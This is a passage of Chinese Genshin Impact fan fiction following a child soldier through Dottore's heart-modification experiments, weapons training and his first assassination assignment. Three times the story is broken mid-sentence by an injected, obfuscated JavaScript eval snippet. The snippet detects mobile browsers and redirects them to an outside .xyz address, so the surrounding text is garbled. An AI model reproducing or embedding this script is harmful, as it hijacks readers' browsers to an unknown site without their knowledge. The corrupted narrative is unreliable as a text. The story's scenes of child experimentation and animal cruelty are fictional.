“那看来是不确定了。”多托雷也没笑,术业有专攻这句话是每个学者的通识,“把他的体检单给我。”这试剂怎么还不反应,我的配比明明毫无问题。 “……” “这样看我做什么,你总不会空手来的吧?” 库嘉维娜当然不会空手来,正因为了解彼此的性格,她才担心博士会把她好不容易找到的好苗子当做实验室里随手可见的普通孩子那样浪费。 多托雷单手晃试剂,另一只手看体检单。很快变成两只手看了:“心脏活性很高,骨龄还没有闭合……你居然还检查了他的动态视力捕捉能力,真是恐怖的数据。比起当年的一代也不遑多让。” “而且他的手很稳。很多孩子第一次拿刀剑都握不住,他见血后还能保持镇定。”库嘉维娜是满意的,就算没有血缘那层原因,她也会对谢苗青睐有加。 多托雷注视到体检单上附带的留影相片:“我知道他是谁的后代了。难怪你会大费周章的找我重启这个实验项目。” “库嘉维娜,你还是忘不了那个小姐妹啊。如果我没记错的话,她叫卓娅,对吗?” 8. 美梦的温床 如果卓娅·雪奈茨芙娜还活着,应该是和库嘉维娜一样大的年纪。 活了很多年的多托雷注视着库嘉维娜这个略显年轻的合作者兼同僚,暗红色的眼睛里平静无波澜。他在记忆库中搜寻,找到了“卓娅”接受实验到实验终止后外派出任务,意外身亡的报告单存放处。 “当初没有当废纸烧了真是有先见之明。”其实还是卓娅本身数据过硬,她是多托雷在[活体兵械]项目里最满意的试验品,只可惜报废得太快,“找到了。真是亲母子。” 库嘉维娜看到了多年前的实验报告单,留影底片上的蓝紫色眼睛隔着十多年的光阴与曾经的旧友遥遥相望。 “……只有这双眼睛最像。”库嘉维娜说,“遗传真是奇妙。” 当年库嘉维娜和卓娅一同征兵入伍加入愚人众,当了很多年的同僚。直到自己爬到高位,直到对方被选为合适的受体加入实验,因为理念和职位的不同,关系自然而然淡了下来,没有任何一方去主动维系。 再收到对方的消息,卓娅已经离开了博士的实验室。深入前线对抗深渊,战功赫赫直线晋升。和同年的竹马叶菲姆·雪奈茨维奇相爱结婚,生下了一个孩子。至冬愚人众的职场,母亲孕育生命并不会被剥去应有的待遇,卓娅生产完回到岗位依旧身先士卒,那样年轻的年纪,就已经坐到了上尉的位置。 那个时候,库嘉维娜已经成为了执行官,掌控了壁炉之家,并且拥有了自己血缘上的女儿克雷薇。 往事不可追,她也无意怀念。只是那双蓝紫色的眼睛和记忆中一样熠熠生辉,叫人恍惚。 库嘉维娜轻笑:“他会成为合格的兵器。” 就像他的妈妈那样。 多托雷笑了笑:“送他过来吧,趁我现在心情好。愿意回忆一下往昔,再复刻一次他母亲创造的奇迹。” 谢苗十一岁了。 考核结束后的某一天,他被库嘉维娜唤去办公室:“好孩子,谢苗,母亲现在要交给你一项任务,可以完成吗?” “请母亲大人吩咐。”要整什么幺蛾子啊? 库嘉维娜亲手给他梳理头发,系上蝴蝶结领结。配合庄园男孩子们统一的制服马甲,看上去真的像至冬本地的小少爷。 “配合我们的博士大人,完成一场……奇妙的实验。成功后,母亲会授予你一份,你绝对会满意的嘉奖。” 库嘉维娜的声音轻柔而和缓,带有极强的蛊惑意味,似流淌着的金色蜂蜜。可惜谢苗不是至冬本地土生土长的贪吃小熊,他嗅到了甜蜜下陷阱的铁锈味。 他的肩膀被女人攥住:“你觉得如何?我可爱的孩子。” 逃不掉的。 一瞬间他想过很多,比如实验会是什么样的,比如为什么是他,比如这具身体隐藏的秘密。 还有毫不知情的瓦西里和帕维尔。 “当然好啊,母亲大人的指令就是我的意志。”他像那些深受壁炉之家洗脑教育的孩子一样,仰着脸露出笑容,“现在就出发吗?” 库嘉维娜也是这样笑着的:“当然,不用担心食宿问题。已经预备好了哦。” 果然啊,连告别的机会都没有。 壁炉之家的【仆人】大人说:“博士那里什么都有,就当作是一次短期旅行吧,谢苗。” 他只能点头,乖巧的说好。 太过弱小,连反抗都是一种奢望。 坐上马车,身边就是端庄的库嘉维娜,摇摇晃晃一路。偶尔有风吹起帘子,谢苗没有掀开看,只是余光一撇,看见了带着花纹的石板和其他马车的车轱辘。 应该不是去送死的吧? 谢苗惴惴不安的想着,死刑犯应该没有这样好的待遇。虽然说不至于沐浴焚香,但也是将他好好打理过一遍的。 应该也不是权色交易吧? 帕维尔那家伙有自己的信息渠道,【仆人】不参与那种龌龊到极点的迫害儿童事件,很容易留下把柄。虽然送去做人体实验耗材也没好到哪里去。 要是放在以前死就死了,我才答应瓦西里会好好活下去啊。不要让我成为不守信的坏东西,我还是想维持一下形象的!! 脑子里胡思乱想,屁股快坐扁之前,马车终于停了。 他被守卫半抱着送下马车,脚踩地面,身后高头骏马打了个热热的响鼻,身前是库嘉维娜伸过来的手:“来吧,母亲领着你走。” 库嘉维娜:(^v^) 库嘉维娜在外形象永远是温柔可亲的,十年如一日,相当之敬业。为什么至冬大剧院没有邀请她做女主角?这等天赋浪费太可惜了。 谢苗恶狠狠的想。 七转八转,一道道关卡顺利通行,他都要走累了,终于到了【博士】的地盘里。 【博士】多托雷,那是位带着奇怪鸟嘴面具的先生。有着极其少见的薄荷蓝卷曲头发,束缚在身上的黑色皮革绑带和深蓝衬衣勾勒出成年男性的身材。 帅。 话说鸟嘴面具真的很像欧洲中世纪里医生戴的那种啊……等等,博士大人好像的确出过医学方面的书!他在庄园图书馆里看到过作者署名是【博士】的书! 谢苗恍然大悟。 博士没有批外套,穿戴着蓝底手套的手正拿着根注射针头,翘起来的小手指让谢苗幻视前生大学医学院的校友。 “愣在那里做什么,过来。”博士跳过无意义的介绍和安抚环节,“把外套脱了,躺到台上。” 身后就是微笑注视着的库嘉维娜,谢苗没回头,听话照做。躺上冰凉的手术台,薄薄衣衫阻隔着皮肉与金属,绑带束缚手脚,谢苗安慰自己应该不至于活体解剖。 直到逆着灯光看见博士手中闪闪发亮的针尖,他才反应过来自己已经很多年没有如此直面过针头了。胆战心惊的接受博士的注射,药液进入身体,针头抽离,这个过程漫长到让他忍不住发散思维乱想。 直到他听见自己的心脏“砰——”的一下猛地跳动,耳膜鼓动,外界的一切声音都似老旧电视机的雪花屏背景音,心脏一下接一下地用力跳动,好像预知到没多少时日可活所以趁现在要用尽所有力气。 剧烈起伏的心跳带来的是血液的喷张、尖锐的耳鸣、升高的体温。 谢苗忍不住想要抬手,可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15679239|173207||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是四肢都被束缚住,无力的挣扎让他觉得自己狰狞而丑陋。 他开始喘息,呼出的热气构成蒸腾的云雾,飘飘然没有实感。 “……刚好五分钟,没有内出血。他的身体机能比体检单数据显示得更优秀。”这种药剂是拿的当初给一代受体用的版本,能抗过五分钟的“自燃”就算初步成为受体,不至于在后续的实验中轻易报废。 想到这里,多托雷的心情都好了不少。本体时间宝贵,用来给一个已经停止的项目重续希望实在是大材小用,但这样能让他和库嘉维娜的合作关系更稳固,姑且算作划算吧。 多托雷给躺在台子上的实验体又扎了一针缓释剂:“刚刚那针有强烈的致幻效果,现在打的是解药,痛到尖叫也属正常情况。但我不喜欢小孩的哭闹声音,你来安抚。” 一直沉默注视着的库嘉维娜看了一眼没有动静的谢苗:“他不会哭出声音的。” “那更好了。” 在博士实验室的生活,简单概括就是打针吃药然后改造心脏三件套。更凶猛的他还没见识到,也希望这辈子都见不到。 但是痛,很痛。不是一下子用斧头砸开头颅的那种痛,是你被劈掉半个脑子还活着,但对着镜子能清晰看见露出来的那半粉白色脑花的,风吹来凉飕飕酥酥麻麻的,针扎似的痛。 当然,这只是一种描述,不代表谢苗的脑子真的被劈开了。 药剂具有强烈的致幻效果,但好消息是没有成瘾性,打完之后身体扛得住那种一分钟内心跳两百次以上的极端情况,坚持五到十分钟就算优秀。十五分钟以上——博士直言如果谢苗可以做到,他就不属于人类了。 “不满十二岁的儿童,已经拥有比肩成年战士的资质。如果不是你本身有问题,那就是你的生母卓娅将秘密带进了坟墓。”博士偶尔会跟他谈起过去实验的一些事情,他是不是活了很久?谢苗猜测。 说这话的时候已经是半个月后,库嘉维娜不在,他被彻底丢给博士。不过因为谢苗足够乖,不吵不闹又不会立刻死,博士就当他多养了一只小白鼠,心情好的时候逗一下说说话,心情不好也不会随意发泄——毕竟实验还是要做的,学者不会对实验体撒气。 毕竟只是一个实验而已。 摸清楚自身定位后,谢苗也会大着胆子问一问:“或许生父的资质也很好呢?” 不都说孩子遗传爸爸的多一些吗? “生物的自然繁衍遵循优胜劣汰的基本原则。遗传自然是遗传双亲中素质更优秀的那方居多。我知道你生母的名字,但没听过你生父的,这已经是回答了,明白吗?” 到了博士这个位置,能让他耳熟的名字不会是等闲之辈,自身实力必然过硬。卓娅来到他的实验室又走出去,是接近完美的活体兵械,是至冬令人骄傲的战士。承袭她基因的谢苗自然也是更像她。 博士完全不用考虑那个普通到在军营里随手一抓一大把的男人遗传了什么物质。总归不会超脱人类生物范畴。 谢苗再一次意识到这个世界没有固定的性别尊卑思想,谁强谁就是主导方。 原来如此。 9. 屠夫还是刽子手 谢苗在博士的实验室接受了三个月的实验改造,心脏被植入了某种他不了解的高科技类金属方块。 他把自己当做个物件接受改造,这三个月的时间也没那么不可接受和难熬。 太过弱小,连拒绝和逃避都算是奢望。 有时候来给他注射药剂进行手术的是明显年轻些的【博士】,没有戴面具,脾气也很臭,红色的眼睛里全是对生命的漠然——装都不装了。 对【博士】知之甚少的静原在一次排异检查手术结束后抹去眼角生理性的眼泪,借着抬手掩面的功夫分析目前已经获得的情报。 【博士】似乎不止一个,他应该有不少于两位的分身,性格迥异,与外界相传的执行官二席阴晴不定这个消息对上了。库嘉维娜和实验室其他助手对此习以为常,至少在愚人众内部不是秘密。拥有最大权利的那位应该是第一次见到的鸟头面具。 能够将自己分成多份用来研究不同方向的课题——恐怖如斯。 谢苗在心里直咋舌。 但是他这三个月的活动范围被局限在偌大的实验室,各个分室之间并不互通。谢苗结束手术修养期间被准许在走廊和少数几个分室间活动,穿着特制的手术服,借着实验体的名头混了个脸熟。 虽然没几个把他一个儿童实验体当回事,但也没人刻意为难,总的来说就是把他当成一团会移动的,有体积的空气。 谢苗:(●—●) 其实也没啥大问题,就是本来就话少的谢苗更加沉默,抱着博士本体给他的营养剂坐在其他分室的角落里吮吸,充当一盆长了脚会跑的盆栽。 他看着实验员白手套包裹的掌心,那只飞不出去无力挣扎的鸟雀,注射某种药剂后内脏破裂,咳出的几滴血染上了手套,被嫌弃的甩进垃圾桶。咚的一声闷响。 “脏了。” 他们这样说。 谢苗把自己蜷缩起来,努力说服自己他就是一株盆栽。 这局身体的生母,卓娅女士当年也是这样吗? 还有以前因为考核落败,被送来当做耗材的孩子们也有这种经历吗? 他不知道,他的心空落落的,坠入无底的悬崖。 三个月后,身体没有出现很明显的排异反应。博士愉悦的宣布他已经成功接受了初步改造,再观察三个月进行辅助锻炼,十二周岁后就可以离开了。 谢苗简直被这个天降馅饼惊呆了,他还以为自己会在这里待更久。 博士觑了一眼这小孩手臂上密密麻麻红肿的针孔,嘴角扬起笑意:“你的价值不止于此。对于有价值之物,我可不会当做随手可弃的耗材。” 其实还是个物件吧。区别只在于我目前还有用。 谢苗明白了,乖乖的低下头去,将衣袖捋下来遮住针孔。少看、少听、不想、保持沉默,这就是一个合格实验体的生存守则。他想活下去就得成为上位者眼中乖巧的,不会反抗的物件。只有这样,那些恍惚幻想中流下的泪才不会成为杜鹃喉间泣出的血。 后三个月他被移交给其他负责人,看模样是愚人众出身的军官,沉默,坚毅,光是站在那里就像一株伫立在风雪中的白桦。 他叫阿列克谢。 至冬叫阿列克谢的人不少,谢苗知道的壁炉之家孩子里就有叫这个名字的,毕竟寓意是【守护者】。 阿列克谢的军衔是中尉,有种如森林般翠绿的深邃眼睛。精通各种刀具,对于铳枪也有研究。 阿列克谢中尉教导谢苗各种武器。谢苗每天学习至少六种武艺,脑子快要炸开花。 所以上头对他到底是个什么期许啊。 “老师,我的培养标准难道是诸武精通吗?”谢苗忍不住了,他实在是没有那个天赋,以前学剑游刃有余,现在刀枪剑戟斧钺钩叉齐上阵,痛苦面具都戴上了。 阿列克谢寡言少语:“不。” 谢苗扛着个大锤子,漂亮的蓝紫色眼睛注视着阿列克谢,此时无声胜有声。 你见谁家小孩不到十二岁就扛大锤的?你还认认真真的教。 “……没有灵光一现的感受吗?”阿列克谢不解。明明这个孩子的手很稳,是个练武的好苗子,怎么这样多的武器都没有完美契合的? “没有。”谢苗补充道,“头脑一片空白。” 阿列克谢果断拍板:“那目前你接触到的武器都不适合,换。” 可是还剩下什么?翠绿色的眼睛幻视练习场周围的武器,拿起了一把铳枪。 “学这个。”阿列克谢看着小孩,透过那双眼睛注视着某个人,带着奇怪的期许,“你能学会的。” 除了刀剑以外一窍不通,谢苗觉得老师的意思是说再学不会就要被当做耗材了。 其实小孩子学枪不是很合适,因为身体骨骼没有发育完全,很脆,不坚硬。而铳枪类的枪械后坐力很强,需要肩膀半边身子去抵住,年纪小的人就算抗得起枪能打出第一发,后坐力也足矣崩掉半边肩膀。所以阿列克谢并没有把自己拿手的铳枪当做第一选择。 但是面前的孩子是个例外,小小年纪身体素质就比得上刚加入愚人众不久的新兵,手稳心沉。 阿列克谢想起上级交给他的那箱东西,心里有了成算。 谢苗简直是个学枪的奇才。初学期准头精度就叫阿列克谢颔首点头,夸奖他做得很好。 目前谢苗手中用来练习的铳枪并不需要元素力驱动,是熟悉的金属子弹(说是钢珠也可以)。只是火药味还是重的,嗅觉灵敏的谢苗每次打完枪都很想洗澡,可惜只能混着臭汗继续粘在衣服上。 一开始练习的是静置的靶子,然后是移动靶。抛上天空的轮盘酒瓶,放飞的实验体鸟雀。死物的中弹率几乎是活物的两倍,阿列克谢统计出来后并不多言,只是叫他拿着匕首去给实验室那帮龟毛研究员给活着的动物实验体剥皮刮鳞,剜出需要的内脏。 抚摸那些活着的,有着鲜活跳动心脏的兔子老鼠鸟雀,从额头后颈那里开始活剥毛皮,粉红的肉、猩红的血,以及其中包裹着的若隐若现的心脏。粉红晶莹,却又血腥粘腻。 主导这个行为的谢苗眼泪和汗水混在一起滴落,手却一丝颤抖都没有。 掌心幼小生物微弱的哭叫让他铭记自己无用的怜悯和心软只会造成更多不必要的哀嚎。从前是平等的对手,现在是低级的生灵。事教人总是快速而高效的,当谢苗再拿起枪的时候,无论活物死物在他眼中已经没有区别。 难以承受的东西只会让他在下一次更平静的面对。 阿列克谢拍拍他的肩膀:“好孩子,做得很好,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15679240|173207||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要浪费你的天赋。” 谢苗想,好不容易获得老师的认可,他应该对此做出微笑的回应。就像【母亲】库嘉维娜常常挂在脸上的笑容那样,从容、镇定、游刃有余。 可是至冬的风好冷,刚扬起嘴角,迎面吹来的风就叫他面部肌肉僵硬,冻得生疼。嘴角放平成为一条直线才好受一些。 谢苗笑不出来。 后三个月的最后十天,谢苗从阿列克谢那里接过了一只牛皮手提箱,里面沉甸甸的,颇有些份量。 阿列克谢说:“这是【木偶】大人交付给你的珍贵材料,用它打造属于你的武器,为女皇效力。” 谢苗扬起头:“什么武器都可以吗?”【木偶】?这也是一位执行官…… “可以是刀,可以是剑,可以是枪。它是灵活的,不会拘泥于常人的认知。”阿列克谢指了指自己的脑子,“你需要什么样的武器助力你成为更强,它就是什么样子的。” “听上去很神奇。”简直不像人能够造出来的东西。 阿列克谢声音平静:“它来自那个古老的国度,曾是人类集聚智慧凝炼而成的炼金术成果。数量有限,只有极少数人能够操控。学会使用它,你就成为了合格的[活体兵械]。” 谢苗眼神复杂,至冬会如此培养她需要的孩子啊…… 回到住处,那是实验室外住楼的某间宿舍——从实验室活着走出来就证明了他的价值配得上一间整洁的宿舍。 谢苗在这里的衣物很少,只有几件底层士兵分配来的御寒棉服。至冬的冬季漫长,室外滴水成冰,没有御寒衣服根本撑不住。 他知道自己正式的拥有了活下来的资格,他不再是被捏造掌心的鹃鸟,他可以飞起来了。 这只手提箱里的东西就是最好的证明。 他打开了那只手提箱,看见了其中一整块的金属。 应该是金属吧,坚硬,有光泽,如同冬夜的寒星,触感冰凉。 问题来了,他要怎么把这块金属打造成所需要的武器? 谢苗:难道我还要学锻造吗?! 炼金术产物静静的躺在手提箱里,并不言语。 好吧好吧。 谢苗抚摸它冰冷的外壳,心想卓娅女士当年也是用的这种材料为至冬效力,现在子承母业,一脉相传,希望我不会堕了她的名头。 谢苗承认他对这具身体的亲生父母没有什么感情,他也不觉得自己亏欠那一家人什么——来到这个世界是他选的吗?只是人活在世上,总有些东西割舍不断。比如羁绊,比如血缘,比如旁人投射而来的目光。 卓娅女士,既然在他人看来我是你的后继者,既然我因为你遗传给谢缪尔的基因活到了现在没有痛苦的死去,那我会努力。 他因为壁炉之家而不幸,也因为壁炉之家而存活。他因为博士的实验承受了痛苦,也因为博士的实验获得了力量。他不想歌颂苦难,也不想自怨自艾。他希望能把这份恩情落实到纯洁之人身上,而不是库嘉维娜和【博士】那种家伙。 如果卓娅女士活着,她会是最佳人选。可惜她为守护人民牺牲,那么自己最终效命的人选也很清晰了。 至冬女皇和至冬的人民。 或许将自己置于崇高的庇护下,能让那颗麻木的心好受一些。 10. 好消息 整整六个月的时间漫长又短暂,对回到壁炉之家的谢苗来说,就是从草木葱茏的春夏跳跃至白雪皑皑的寒冬。 他独自一人乘坐马车,被愚人众士兵从博士的实验基地送回壁炉之家大门口。靴子踩上覆盖了薄雪的台阶,提着牛皮提箱的手被冻得通红,脸蛋苍白,只是一双眼睛灿如寒星。 谢苗再次看见大门上天使抱水瓶雕像时,恍若隔世。 士兵驱使着棕马离去,谢苗抬手叩响大门。庄园厚重的门扉从内推开,迎接他的只有守卫。 守卫说:“进去吧,孩子。” 正好下着小雪,雪花和北风扑打在脸上,告诫他对这六个月的经历三缄其口。谢苗穿过庄园内前面的房屋,属于稚童的纯真欢笑在风中流淌;行过小树林中间的石子路,靴子将积雪踩得咯吱咯吱响;走进红房子旁边的宿舍楼,楼梯间的回响一声比一声空茫。 曾经的六人间宿舍不断有人搬进搬出,谢苗他们三个像钉子户一般在这里扎根,直到六个月前他毫无预兆的在众人生活中消失。 钥匙插进锁孔,转动一圈半,咔哒,门锁应声而开。 “瓦西里,你回来了吗?”帕维尔躺在床上,从他那个视角是看不见正站在门口的谢苗的,“我马上下来……嘶——” 谢苗嗅得到室内空气中那点若有若无的血腥气,对于在壁炉之家接受魔鬼间谍训练的孩子们来说,血的气息是最容易嗅出来的。 谢苗走进宿舍,反手把门带上:“你受伤了。谁干的。” “谢苗!!你回来了!!”帕维尔本来就是翻身下床的动作,听到他的声音后更是利落,眨个眼的功夫就来到了谢苗身前,狠狠将他和捎带的雪一起搂进怀里,好半天才找回自己的声音,“……你吓死我了。” 谢苗也清楚自己的“不告而别”对两位哥哥来说跟宣告死亡没有什么区别,他抬起空着的那只手拍拍帕维尔的背,半年不见这小子又长高了:“我回来了,别担心。倒是你受伤的问题更大。是出任务还是在比试中伤的?” “是任务,不过成功了,伤很快就能好,瓦西里去食堂给我打包晚餐。你肯定也没吃,希望他打包的多一点……来来来快坐下……你消失了半年的事能说吗?”帕维尔连珠炮似的吐出一长串话,把谢苗按在椅子上,给他倒了一杯热水冲泡牛奶。 捧着热牛奶,冻僵的手逐渐回温。谢苗摇摇头,态度很明确。他顺着晚餐这个话题继续说:“等会我去食堂吃。【母亲】大人没有销去我的名字,食堂会留我的晚餐。” 从守卫的放行就能看出库嘉维娜知道他在被放回来了,哪怕人不在至冬,壁炉之家掌权人对孩子们的动向也是一清二楚。干净的衣物,温暖的住所,可口的食物——这类最基础的物质是构成【家】的必要因素,库嘉维娜不会在这种小事上犯低级错误。没人会小瞧她作为执行官【仆人】的能力。 帕维尔知道库嘉维娜会妥善的安排好每一个还有价值的孩子的生活,闻言也不多说,只是告诉了谢苗他消失的这六个月发生了什么,好让他快些适应。 再过几个月又是一场考核,对于现在的三兄弟而言,考核已经不是难题。真正能威胁到他们安全的只剩下不定期发布的任务。 距离十六岁的“毕业”尚有一段时间,库嘉维娜会根据孩子们的学习水平和考核成绩分发不同的任务。大致可分为四类:探查情报、窃取物品、暗杀目标、猎杀魔物。从简单到困难,最后的“猎杀魔物”属于地狱级难度,十六岁以前被安排这种任务无异于让人直接去死,好在库嘉维娜不会如此明显的处理弃子。 (从世界暗面[深渊]产出的无智性魔物是全人类共同的敌人,谢苗这具身体的父母正是倒在了清剿魔物的战争中。) 瓦西里和帕维尔这个年纪分配任务中最难的是暗杀目标,负伤是常见的结果,毕竟任务目标不会傻不拉叽的站在原地让你把武器刺进胸膛毫不反抗。哪怕是暗杀,一击毙命也属于最理想情况。 谢苗12岁了,如果不是消失的这六个月在接受实验,他也会接到任务。 帕维尔告诉他:“算算时间,母亲大人也快要给你安排任务检查能力了。至冬、枫丹、蒙德都有可能。”毕竟枫丹和蒙德在地图上和至冬接壤。 帕维尔告诫他:“短期任务一般就是暗杀和窃取。现在距离考核期不远,你这次被分派到的任务应该就是二选一。最近多复习潜行和刺杀技巧,很有可能用上。” 谢苗乖乖点头:“我知道了,谢谢你帕维尔。” 帕维尔摆手示意他别这么客气,又聊了一会,瓦西里终于带着打包好的食物从食堂大老远赶回宿舍。 进门后很明显的愣了愣,然后把晚餐丢给帕维尔,上前抱住谢苗。 “女皇在上……你终于回来了。”半大少年很明显知道他去了哪个方向,宽厚胸膛炽热温暖,叫谢苗想哭,“所有东西我们都好好的保存下来,什么也没丢。和你走之前一模一样。” “包括我没吃完的面包吗?”谢苗故意逗他缓解煽情气氛。 “叫帕维尔解决了。”瓦西里露出笑容,将这个小弟弟狠狠揉搓一番,“回来就好……还没有吃晚餐吧?我带你去食堂。今天给帕维尔打包的是病号餐,少油少盐少糖,你不会喜欢的。” 帕维尔正在嚼面包:“谢苗想吃的话,我很乐意分给他。”好想吃浓油赤酱烧出来的肉,可惜只有水煮的——那玩意狗都不吃。 “好好养伤,晚上回来给你换药。上床的时候慢点,小心伤口裂开……谢缪尔,把牛奶喝完,我们去吃晚餐。今天没有果酱馅饼,但是有蜂蜜蛋糕。” 瓦西里牵着谢苗的手往外走,絮絮叨叨:“要是在以前,蜂蜜蛋糕刚摆出来就没了。红房子里爱吃蛋糕的孩子不多,距离开饭还没有十五分钟,现在去应该还有……你这些天吃得好吗?睡得安稳吗?我刚进门的时候一眼就看见你瘦了,抱着你的时候骨头硌的生疼……” 谢苗看着对方抓住自己的那只手,缓缓眨了眨眼睛,疲倦的蝴蝶扇动翅膀,坠落的心终于落到了实处。 走出宿舍楼后瓦西里才询问他:“你这段时间都经历了什么?” 谢苗很想告诉他:我这六个月吃的东西没有味道,睡觉总是做噩梦。有时候会看见你和帕维尔在对我招手,那就算是昏暗无光生活里算是难得的美梦。 吃的营养剂只够维持身体日常所需,没有味道。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15679241|173207||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 处于封闭的环境,被恐惧笼罩灵魂,所以总是做噩梦。极端思念家人导致出现幻觉,也有可能是被注射了致幻的止痛剂,所以分不清梦和现实。 但是小少年什么也没有说,只是摇摇头,沉默本身就是一种拒绝。 瓦西里十四岁,他知道壁炉之家绝大多数隐于雪下的秘密,其中就包括【仆人】和【博士】的合作。 年长些的孩子牵着小少年走到房屋拐角处,猛的回头将后者的衣袖往上一撸。手臂光洁白新,什么痕迹也没有留下。 四周一下子寂静无声,雪下得更大,天色渐暗,夜晚快要来了。 瓦西里把衣袖捋下去,继续牵着他走向前方灯火通明的食堂,好像刚刚的突兀没有发生过一样。 他们再也没有聊起那个危险的话题。 食堂有各种面包餐点供应,孩子们很轻易的就能获得身体所需——壁炉之家从不在食物上亏待孩子,这也是库嘉维娜维系自身地位的必要手段。 他们的速度很快,蜂蜜蛋糕还剩下几块躺在铁制餐盘中间,谢苗化身饕餮疯狂的夹取食物填饱胃囊。各色馅饼,煎饼,面包还有炖菜汇聚在少年的肚子里,这是一场碳水的狂欢。 酸奶油甜奶油,咸饼干甜饼干,果酱腌菜沙拉……这些佐餐零食或者小菜他来者不拒。 其他正在用餐的孩子们几乎是目瞪口呆注视他的暴风吸入。 “天哪,谢苗,你怎么吃这样多?” “快停下,身体会受不了的。” “谁克扣你的伙食了?!” 谢苗没有听,他只是麻木而机械的往嘴里塞着食物。一口接一口,咽下肚,沉甸甸的,似有千斤坠。 他不是因为太久没有吃到正常食物而馋,只是他的身体需要如此多的能量维持日常所需。 饿,好饿,还是没有感觉饱。 实验让他蜕变,拥有了远超常人的自我修复能力和驱使炼金术造物的可能,也让他的身体对能量的需求更上一层楼。 这个食量有些恐怖了。 那些热心的孩子围过来,看着他放下餐具喝了口水,终于长吁一口气。 “瓦西里,你得看着他吃消食片。”一个十五岁的女孩走之前如此叮嘱,“虽然不知道发生了什么,但食物堆积在肚子里不消化可是会吃苦头的。” “我知道了,谢谢你的提醒。”瓦西里无奈叹气,谢缪尔风卷残云般吃完晚餐,他连一半都没有吃完呢。 这种友好的相处和善意的提醒没能逃过谢苗的眼睛,他看着身边喝汤的瓦西里,意识到自己大概错过了什么。 晚上回到宿舍的时候,谢苗从帕维尔那边听到了回答。 “因为母亲大人已经选出了她钟意的[王],我们不用再互相厮杀直到决出胜者了。”帕维尔扯扯嘴角,“已经有人成功度过了十六岁的考核,造福我们这些还活着的弟弟妹妹,不用成为胜者的养料了。” “这也意味着孤儿的死亡率会降低不止三成。要变天了,谢缪尔。” 所以至冬壁炉之家的孩子们不像之前那样胆战心惊彼此提防,因为他们已经不是彼此的敌人。 谢苗喝完牛奶:“那可真是太好了。” 11. 狩猎开始 谢苗回归壁炉之家后恢复了正常的训练作息,武艺训练都好说,让谢苗苦恼的是文化课课业越来越重,七国的语言文字历史文化都要大体学习一遍,不然以后去做间谍连他国语言都听不懂,直接抓瞎。 每天苦哈哈的写完作业,掏出他以前画的枪械构造图,用那箱炼金术造物将心中所想复刻出来。换在以前他哪里敢想自己需要手搓枪支弹药,但不可能变为了可能,更何况这箱自里的类金属存在在一定程度是“活着的”。 谢苗改用枪这个行为没有遮掩,红房子里的孩子们总能看见他在训练场练习射击,有时候能撞见这家伙打靶结束后就地盘坐拆分他那把不知从哪里弄来的银白色长枪。 形制从最常见的军用铳枪变为燧发枪,敲敲打打的改造,填装弹药的间隔时间越来越短,直到某一天的清晨,路过训练场的孩子们听见了砰砰砰十二发子弹连续响起。 从12秒填装一次弹药,到连发十二枚子弹,其中横跨的技术写在纸面上都是一道深深的沟壑。 把打出去的子弹收集起来重新“捏”回类金属方块,谢苗擦拭手中这把特制的燧发枪,总算是满意了。 这种炼金术造物真的太神奇了,丈量好尺寸后拼接组装零件,最后严丝合缝——谢苗终于理解阿列克谢老师是什么意思。 春天到来的时候,属于谢苗的第一次任务文书也发到了他手中。 “这应该是你第一次执行任务,对吧。”愚人众的军官看着面前的少年,“好好表现,上头的大人们看着你呢。” 军官本意是指这种程度的任务纯粹是给后起之秀的一场考验,好好发挥说不定哪天就被早已关注的执行官大人提拔去了。 谢苗听进去的不多,只当博士和库嘉维娜要检查他这具躯体的能力发挥效果。 任务是暗杀至冬一位名为索沃科夫的富商,文书上对于这位富商的情报很少,只有廖廖几行外貌描写以及名下产业名称。行动资金是五万摩拉,要求在三天内杀死对方。 摩拉就是这个世界通用货币的称呼,外形是金灿灿的钱币。 谢苗仔细看完这纸薄薄的文书,咋舌:好吝啬的资金和时限。 情报少得可怜,前期的准备工作也要他一个人做完——好吧好吧。 军官表情不变:“这就是你要思考的了,收拾东西,带上武器,现在就可以出发执行任务。” “遵命,长官。” 谢苗领了摩拉回到宿舍,把武器装进那只牛皮手提箱,换上一身合体的,有被浆洗多次痕迹的干净衣裳,大摇大摆的走出了庄园。 漫长的寒冬已经过去,开春后冰河破裂,城外的河流和港口漂浮着碎冰。城市主体建筑多为精致的堡垒,拱形门廊和长柱随处可见,雕饰葡萄藤与花朵纹样。 谢苗走在宽广的道路一侧,看着来往行人匆匆,看着城内愚人众站守岗位,看着流浪艺人抱着巴莱卡或者巴扬琴弹奏,白净的脸上是全然的新奇——看着就像刚进城的外地佬。 至冬城现在是这样子的啊,和五六年前他看到的不太一样。 谢苗轻声赞叹:“真漂亮。” 这就是他将终生效忠的国度。 